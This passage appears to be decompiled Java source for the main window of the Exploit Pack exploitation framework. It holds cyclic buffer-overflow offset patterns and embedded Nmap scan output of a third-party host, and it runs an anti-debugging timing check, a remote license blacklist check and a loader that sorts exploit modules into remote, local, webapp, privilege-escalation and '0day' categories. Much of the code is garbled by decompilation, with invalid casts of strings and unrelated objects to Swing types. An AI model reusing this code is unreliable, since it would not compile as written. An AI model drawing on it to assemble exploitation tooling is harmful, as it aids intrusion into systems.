$E%$a%$0%$F%$b%$1%$G%$c%$2%$H%$d%$3%$I%$e%$4%$J%$f%$5%$K%$g%$6%$L%$h%$7%$M%$i%$8%$N%$j%$9%$O%$k%$P%$l%$Q%$m%$R%$o%$S%$p%$T%$q%$U%$r%$V%$t%$W%$u%$X%$v%$Y%$w%$Z%$x%$y%$z%ns%nB%n$%nn%nC%n-%n(%nD%n;%n)%nE%na%n0%nF%nb%n1%nG%nc%n2%nH%nd%n3%nI%ne%n4%nJ%nf%n5%nK%ng%n6%nL%nh%n7%nM%ni%n8%nN%nj%n9%nO%nk%nP%nl%nQ%nm%nR%no%nS%np%nT%nq%nU%nr%nV%nt%nW%nu%nX%nv%nY%nw%nZ%nx%ny%nz%Cs%CB%C$%Cn%CC%C-%C(%CD%C;%C)%CE%Ca%C0%CF%Cb%C1%CG%Cc%C2%CH%Cd%C3%CI%Ce%C4%CJ%Cf%C5%CK%Cg%C6%CL%Ch%C7%CM%Ci%C8%CN%Cj%C9%CO%Ck%CP%Cl%CQ%Cm%CR%Co%CS%Cp%CT%Cq%CU%Cr%CV%Ct%CW%Cu%CX%Cv%CY%Cw%CZ%Cx%Cy%Cz%-s%-B%-$%-n%-C%--%-(%-D%-;%-)%-E%-a%-0%-F%-b%-1%-G%-c%-2%-H%-d%-3%-I%-e%-4%-J%-f%-5%-K%-g%-6%-L%-h%-7%-M%-i%-8%-N%-j%-9%-O%-k%-P%-l%-Q%-m%-R%-o%-S%-p%-T%-q%-U%-r%-V%-t%-W%-u%-X%-v%-Y%-w%-Z%-x%-y%-z%(s%(B%($%(n%(C%(-%((%(D%(;%()%(E%(a%(0%(F%(b%(1%(G%(c%(2%(H%(d%(3%(I%(e%(4%(J%(f%(5%(K%(g%(6%(L%(h%(7%(M%(i%(8%(N%(j%(9%(O%(k%(P%(l%(Q%(m%(R%(o%(S%(p%(T%(q%(U%(r%(V%(t%(W%(u%(X%(v%(Y%(w%(Z%(x%(y%(z%Ds%DB%D$%Dn%DC%D-%D(%DD%D;%D)%DE%Da%D0%DF%Db%D1%DG%Dc%D2%DH%Dd%D3%DI%De%D4%DJ%Df%D5%DK%Dg%D6%DL%Dh%D7%DM%Di%D8%DN%Dj%D9%DO%Dk%DP%Dl%DQ%Dm%DR%Do%DS%Dp%DT%Dq%DU%Dr%DV%Dt%DW%Du%DX%Dv%DY%Dw%DZ%Dx%Dy%Dz%;s%;B%;$%;n%;C%;-%;(%;D%;;%;)%;E%;a%;0%;F%;b%;1%;G%;c%;2%;H%;d%;3%;I%;e%;4%;J%;f%;5%;K%;g%;6%;L%;h%;7%;M%;i%;8%;N%;j%;9%;O%;k%;P%;l%;Q%;m%;R%;o%;S%;p%;T%;q%;U%;r%;V%;t%;W%;u%;X%;v%;Y%;w%;Z%;x%;y%;z%)s%)B%)$%)n%)C%)-%)(%)D%);%))%)E%)a%)0%)F%)b%)1%)G%)c%)2%)H%)d%)3%)I%)e%)4%)J%)f%)5%)K%)g%)6%)L%)h%)7%)M%)i%)8%)N%)j%)9%)O%)k%)P%)l%)Q%)m%)R%)o%)S%)p%)T%)q%)U%)r%)V%)t%)W%)u%)X%)v%)Y%)w%)Z%)x%)y%)z%Es%EB%E$%En%EC%E-%E(%ED%E;%E)%EE%Ea%E0%EF%Eb%E1%EG%Ec%E2%EH%Ed%E3%EI%Ee%E4%EJ%Ef%E5%EK%Eg%E6%EL%Eh%E7%EM%Ei%E8%EN%Ej%E9%EO%Ek%EP%El%EQ%Em%ER%Eo%ES%Ep%ET%Eq%EU%Er%EV%Et%EW%Eu%EX%Ev%EY%Ew%EZ%Ex%Ey%Ez%as%aB%a$%an%aC%a-%a(%aD%a;%a)%aE%aa%a0%aF%ab%a1%aG%ac%a2%aH%ad%a3%aI%ae%a4%aJ%af%a5%aK%ag%a6%aL%ah%a7%aM%ai%a8%aN%aj%a9%aO%ak%aP%al%aQ%am%aR%ao%aS%ap%aT%aq%aU%ar%aV%at%aW%au%aX%av%aY%aw%aZ%ax%ay%az%0s%0B%0$%0n%0C%0-%0(%0D%0;%0)%0E%0a%00%0F%0b%01%0G%0c%02%0H%0d%03%0I%0e%04%0J%0f%05%0K%0g%06%0L%0h%07%0M%0i%08%0N%0j%09%0O%0k%0P%0l%0Q%0m%0\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "pattern128 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "pattern64 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "pattern32 = \"AAA%AAsAABAA$AAnAACAA-AA(AADAA;A\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new ShorthandCompletion((CompletionProvider)defaultCompletionProvider, "sysout", "System.out.println(", "System.out.println("));
    defaultCompletionProvider.addCompletion((Completion)new ShorthandCompletion((CompletionProvider)defaultCompletionProvider, "syserr", "System.err.println(", "System.err.println("));
    return (CompletionProvider)defaultCompletionProvider;
  }
  
  public MainFrame() {
    this.a = null;
    this.d = null;
    this.a = null;
    this.b = (JToolBar)new RSyntaxTextArea(20, 60);
    this.c = (JTree)new RSyntaxTextArea(20, 60);
    this.b = (JToolBar)"";
    this.g = (JTree)"";
    this.h = (JTree)"";
    this.i = (JTextArea)"";
    this.j = (JTextArea)"";
    this.a = (JTree)new ArrayList();
    this.a = (JTree)new StringBuilder();
    long l = System.nanoTime();
    if (System.nanoTime() - l > 100000L)
      System.exit(0); 
    this.c.setText("# Pentest notes for: exploitpack.com [Exploit Pack]\n# Nmap 7.70 scan initiated Mon Sep 24 23:08:15 2018 as: C:\\Program Files (x86)\\Nmap\\nmap.exe -sV -A -oA log/google.com google.com\nNmap scan report for google.com (172.217.19.206)\nHost is up (0.027s latency).\nrDNS record for 172.217.19.206: ams16s31-in-f14.1e100.net\nNot shown: 997 filtered ports\nPORT    STATE SERVICE    VERSION\n53/tcp  open  domain     (unknown banner: Not disclosed)\n| dns-nsid: \n|_  bind.version: Not disclosed\n| fingerprint-strings: \n|   DNSVersionBindReqTCP: \n|     version\n|     bind\n|_    disclosed\n80/tcp  open  http-proxy Squid http proxy\n| http-open-proxy: Potentially OPEN proxy.\n|_Methods supported: GET HEAD\n|_http-server-header: gws\n|_http-title: Did not follow redirect to http://www.google.com/\n443/tcp open  ssl/https  gws\n| fingerprint-strings: \n|   GetRequest: \n|     HTTP/1.0 200 OK\n|     Date: Mon, 24 Sep 2018 21:08:39 GMT\n|     Expires: -1\n|     Cache-Control: private, max-age=0\n|     Content-Type: text/html; charset=ISO-8859-1\n|     P3P: CP=\"This is not a P3P policy! See g.co/p3phelp for more info.\"\n|     Server: gws\n|     X-XSS-Protection: 1; mode=block\n|     X-Frame-Options: SAMEORIGIN\n|     Set-Cookie: 1P_JAR=2018-09-24-21; expires=Wed, 24-Oct-2018 21:08:39 GMT; path=/; domain=.google.com\n|     Set-Cookie: NID=139=0bt67jSRm4Cwz0KZWaPypBMSIg-deivJ110lQQJTpOntKfNcmKDTBQVTiKnIfxpTKGAWeLW5wiOVw3MV-wOPxe5J6GjmOppBy_aZ-SjWTwjqfntNuHWmVKnba5m6P1Ka; expires=Tue, 26-Mar-2019 21:08:39 GMT; path=/; domain=.google.com; HttpOnly\n|     Alt-Svc: quic=\":443\"; ma=2592000; v=\"44,43,39,35\"\n|     Accept-Ranges: none\n|     Vary: Accept-Encoding\n|     <!doctype html><html itemscope=\"\" itemtype=\"http://schema.org/WebPage\" lang=\"nl\"><head><meta content=\"text/html; charset=UTF-8\" http-equiv=\"Content-Type\"><meta content=\"/images/brandin\n|   HTTPOptions: \n|     HTTP/1.0 405 Method Not Allowed\n|     Allow: GET, HEAD\n|     Date: Mon, 24 Sep 2018 21:08:39 GMT\n|     Content-Type: text/html; charset=UTF-8\n|     Server: gws\n|     Content-Length: 1592\n|     X-XSS-Protection: 1; mode=block\n|     X-Frame-Options: SAMEORIGIN\n|     Alt-Svc: quic=\":443\"; ma=2592000; v=\"44,43,39,35\"\n|     <!DOCTYPE html>\n|     <html lang=en>\n|     <meta charset=utf-8>\n|     <meta name=viewport content=\"initial-scale=1, minimum-scale=1, width=device-width\">\n|     <title>Error 405 (Method Not Allowed)!!1</title>\n|     <style>\n|_    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{");
    this.c.setCaretPosition(0);
    try {
      t();
      setDefaultCloseOperation(2);
      getContentPane().setBackground(Color.WHITE);
      setIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bug.png")));
      this.b.setSyntaxEditingStyle("text/python");
      this.b.setCodeFoldingEnabled(true);
      this.c.setSyntaxEditingStyle("text/python");
      this.c.setCodeFoldingEnabled(true);
      this.L.add((Component)new RTextScrollPane((RTextArea)this.c));
      this.K.add((Component)new RTextScrollPane((RTextArea)this.b));
      CompletionProvider completionProvider = a();
      (new AutoCompletion(completionProvider)).install((JTextComponent)this.b);
      setDefaultCloseOperation(3);
      pack();
      ArrayList<String> arrayList = new ArrayList();
      FileReader fileReader2 = new FileReader("output/helper.ep");
      BufferedReader bufferedReader1 = new BufferedReader(fileReader2);
      String str5;
      while ((str5 = bufferedReader1.readLine()) != null)
        arrayList.add(str5); 
      fileReader2.close();
      setDefaultCloseOperation(2);
      getContentPane().setBackground(Color.WHITE);
      setIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bug.png")));
      String str2 = "Trial version";
      String str3 = "";
      this.h = (JTree)str2;
      File file;
      if ((file = new File("data/config/yourkey")).exists()) {
        BufferedReader bufferedReader = new BufferedReader(new FileReader(file));
        while ((str5 = bufferedReader.readLine()) != null)
          str3 = str5; 
        AsymmetricCryptography asymmetricCryptography = new AsymmetricCryptography();
        PublicKey publicKey = AsymmetricCryptography.a("data/config/pub");
        String str7 = asymmetricCryptography.a(str3, publicKey);
        Boolean bool = Boolean.FALSE;
        URL uRL = new URL("http://exploitpack.com/changelog/blacklist.txt");
        str5 = (new BufferedReader(new InputStreamReader(uRL.openStream()))).readLine();
        Scanner scanner = new Scanner(str5);
        while (scanner.hasNextLine()) {
          String str = scanner.nextLine();
          if (str7.contains(str)) {
            dispose();
            JOptionPane.showMessageDialog(null, "[!] Sorry, your license key has been banned, you can contact support@exploitpack.com for help.", "Exploit Pack says:", 0);
            System.exit(0);
            return;
          } 
          bool = Boolean.TRUE;
        } 
        scanner.close();
        if (bool.booleanValue())
          SplashScreen.d = true; 
        String str8 = "time.google.com";
        NTPUDPClient nTPUDPClient;
        (nTPUDPClient = new NTPUDPClient()).open();
        nTPUDPClient.setSoTimeout(5000);
        InetAddress inetAddress = InetAddress.getByName(str8);
        long l1 = nTPUDPClient.getTime(inetAddress).getReturnTime();
        Date date1 = new Date(l1);
        str5 = (new SimpleDateFormat("yyyy-MM-dd")).format(date1);
        String[] arrayOfString;
        if ((arrayOfString = str7.split("\\s+")).length == 1)
          this.h = (JTree)(str7 + " Lifetime"); 
        if (arrayOfString.length == 2) {
          this.h = (JTree)str7;
          if (str5.compareTo(arrayOfString[1]) > 0) {
            JOptionPane.showMessageDialog(null, "[!] Sorry, your license key is invalid or expired, contact support@exploitpack.com for support.", "Exploit Pack says:", 0);
            dispose();
            return;
          } 
        } 
      } 
      FileReader fileReader1 = new FileReader("output/config.ep");
      BufferedReader bufferedReader2 = new BufferedReader(fileReader1);
      String str1;
      while ((str1 = bufferedReader2.readLine()) != null)
        this.a.add(str1); 
      this.f = (JTree)this.a.get(0);
      this.e = (JTree)this.a.get(1);
      this.b = (JToolBar)this.a.get(2);
      this.g = (JTree)this.a.get(3);
      this.i = (JTextArea)this.a.get(5);
      this.j = (JTextArea)this.a.get(6);
      this.o.setCaretPosition(0);
      this.Q.setText("Licensed to: " + this.h + " - [ Latest release: v14.04 PathMaker ]");
      Date date = new Date();
      SimpleDateFormat simpleDateFormat = new SimpleDateFormat("hh:mm:ss");
      this.K = (JTextField)simpleDateFormat.format(date);
      this.q.setText("Script engine: " + this.f);
      T.a("System started: " + this.K);
      T.a("IP Address: " + Inet4Address.getLocalHost().getHostAddress());
      FileReader fileReader3 = new FileReader("output/executionlog.eplog");
      BufferedReader bufferedReader3 = new BufferedReader(fileReader3);
      String str6;
      while ((str6 = bufferedReader3.readLine()) != null)
        this.h.append(str6 + "\n"); 
      bufferedReader2.close();
      this.h.setCaretPosition(0);
      try {
        this.N.setText(T.a());
      } catch (Exception exception) {
        System.out.println("Sorry couldn't get the external IP address, looping.");
        this.N.setText("127.0.0.1");
      } 
      if (SplashScreen.d) {
        this.a.setEnabled(true);
        this.i.setEnabled(true);
        this.N.setEnabled(true);
        this.O.setEnabled(true);
        this.P.setEnabled(true);
        this.B.setEnabled(true);
        this.M.setEnabled(true);
        this.D.setEnabled(true);
        this.I.setEnabled(true);
        this.l.setEnabled(true);
        this.f.setEnabled(true);
      } 
      String str4 = "exploits/";
      File[] arrayOfFile = (new File(str4)).listFiles();
      this.d.append("[" + this.K + "] Modules successfully loaded: OK\n");
      DefaultTreeCellRenderer defaultTreeCellRenderer2;
      (defaultTreeCellRenderer2 = new DefaultTreeCellRenderer()).setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/application.png"))));
      defaultTreeCellRenderer2.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/application.png"))));
      defaultTreeCellRenderer2.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/log.png"))));
      this.c.setCellRenderer(defaultTreeCellRenderer2);
      DefaultTreeCellRenderer defaultTreeCellRenderer3;
      (defaultTreeCellRenderer3 = new DefaultTreeCellRenderer()).setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
      defaultTreeCellRenderer3.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
      defaultTreeCellRenderer3.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/scriptnormal.png"))));
      this.a.setCellRenderer(defaultTreeCellRenderer3);
      DefaultTreeCellRenderer defaultTreeCellRenderer1;
      (defaultTreeCellRenderer1 = new DefaultTreeCellRenderer()).setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
      defaultTreeCellRenderer1.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
      defaultTreeCellRenderer1.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/scriptnormal.png"))));
      this.f.setCellRenderer(defaultTreeCellRenderer1);
      (defaultTreeCellRenderer1 = new DefaultTreeCellRenderer()).setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/world.png"))));
      defaultTreeCellRenderer1.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/world.png"))));
      defaultTreeCellRenderer1.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/terminal.png"))));
      this.d.setCellRenderer(defaultTreeCellRenderer1);
      (defaultTreeCellRenderer1 = new DefaultTreeCellRenderer()).setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/networking.png"))));
      defaultTreeCellRenderer1.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/networking.png"))));
      defaultTreeCellRenderer1.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/port.png"))));
      this.e.setCellRenderer(defaultTreeCellRenderer1);
      (defaultTreeCellRenderer1 = new DefaultTreeCellRenderer()).setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
      defaultTreeCellRenderer1.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
      defaultTreeCellRenderer1.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/tool.png"))));
      this.h.setCellRenderer(defaultTreeCellRenderer1);
      (defaultTreeCellRenderer1 = new DefaultTreeCellRenderer()).setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
      defaultTreeCellRenderer1.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
      defaultTreeCellRenderer1.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/server2.png"))));
      this.g.setCellRenderer(defaultTreeCellRenderer1);
      DefaultTreeModel defaultTreeModel1 = (DefaultTreeModel)this.a.getModel();
      DefaultTreeModel defaultTreeModel2 = (DefaultTreeModel)this.g.getModel();
      DefaultTreeModel defaultTreeModel3 = (DefaultTreeModel)this.h.getModel();
      DefaultTreeModel defaultTreeModel4 = (DefaultTreeModel)this.f.getModel();
      this.a.removeAll();
      this.g.removeAll();
      this.h.removeAll();
      this.f.removeAll();
      for (byte b = 0; b < arrayOfFile.length; b++) {
        String str;
        if (arrayOfFile[b].isFile() && ((str = arrayOfFile[b].getName()).endsWith(".xml") || str.endsWith(".XML"))) {
          this.a = (JTree)new gi();
          this.a.c(str);
          if (((gi)this.a).R.equals("notepad")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = null;
            DefaultMutableTreeNode defaultMutableTreeNode5 = (DefaultMutableTreeNode)defaultTreeModel2.getChild(defaultTreeModel2.getRoot(), 0);
            if (((gi)this.a).o.equals("windows"))
              if (((gi)this.a).u.equals("owned")) {
                defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              } else {
                defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              }  
            if (((gi)this.a).o.equals("linux"))
              if (((gi)this.a).u.equals("owned")) {
                defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              } else {
                defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              }  
            if (((gi)this.a).o.equals("osx"))
              if (((gi)this.a).u.equals("owned")) {
                defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              } else {
                defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              }  
            if (((gi)this.a).o.equals("bsd"))
              if (((gi)this.a).u.equals("owned")) {
                defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              } else {
                defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              }  
            if (((gi)this.a).o.equals("mobile"))
              if (((gi)this.a).u.equals("owned")) {
                defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              } else {
                defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              }  
            defaultMutableTreeNode5.add(defaultMutableTreeNode4);
            defaultTreeModel1.reload(defaultMutableTreeNode5);
          } else {
            ((DefaultMutableTreeNode)defaultTreeModel2.getChild(defaultTreeModel2.getRoot(), 0)).getChildCount();
          } 
          if (((gi)this.a).o.equals("tools")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 0);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            defaultTreeModel1.reload(defaultMutableTreeNode4);
          } else {
            ((DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 0)).getChildCount();
          } 
          if (((gi)this.a).o.equals("dos")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            defaultTreeModel1.reload(defaultMutableTreeNode4);
          } else {
            ((DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 1)).getChildCount();
          } 
          if (((gi)this.a).o.equals("others")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 2);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            defaultTreeModel1.reload(defaultMutableTreeNode4);
          } 
          if (((gi)this.a).o.equals("exc")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 3);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            defaultTreeModel1.reload(defaultMutableTreeNode4);
          } 
          if (((gi)this.a).o.equals("privesc")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 4);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            defaultTreeModel1.reload(defaultMutableTreeNode4);
          } else {
            ((DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 2)).getChildCount();
          } 
          if (((gi)this.a).o.equals("0day_PremiumPack")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            defaultTreeModel1.reload(defaultMutableTreeNode4);
          } 
          if (((gi)this.a).o.equals("aix")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 2);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("alpha")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 3);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("android")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 4);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("arm")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 5);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
